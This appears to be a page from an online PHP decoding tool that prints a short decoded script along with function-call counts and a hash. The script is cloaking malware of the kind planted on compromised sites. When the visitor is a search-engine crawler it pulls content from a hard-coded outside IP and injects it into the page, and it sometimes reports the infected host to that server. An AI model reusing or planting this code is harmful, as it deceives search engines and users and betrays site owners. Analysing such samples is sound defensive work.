Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (preg_match("/googlebot|bing|msn|yahoo|yandex/i", $_SERVER['HTTP_USER_AGENT']))..

Decoded Output download

 
<?php if (preg_match("/googlebot|bing|msn|yahoo|yandex/i", $_SERVER['HTTP_USER_AGENT'])) echo @file_get_contents("http://194.67.211.41/link.php?a=" . urlencode($_GET['article']) . "&h=" . urlencode($_SERVER['HTTP_HOST']) . "&r=" . urlencode($_SERVER['HTTP_REFERER'])); 
if (rand(0, 9) == 0) @file_get_contents("http://194.67.211.41/discover.php?h=" . urlencode($_SERVER['HTTP_HOST'])); 
 ?>

Did this file decode correctly?

Original Code


<?php if (preg_match("/googlebot|bing|msn|yahoo|yandex/i", $_SERVER['HTTP_USER_AGENT'])) echo @file_get_contents("http://194.67.211.41/link.php?a=" . urlencode($_GET['article']) . "&h=" . urlencode($_SERVER['HTTP_HOST']) . "&r=" . urlencode($_SERVER['HTTP_REFERER']));
if (rand(0, 9) == 0) @file_get_contents("http://194.67.211.41/discover.php?h=" . urlencode($_SERVER['HTTP_HOST']));

Function Calls

urlencode 1
preg_match 1

Variables

None

Stats

MD5 b4c9ae0e2d0be1e1be4f88aa0e503b70
Eval Count 0
Decode Time 88 ms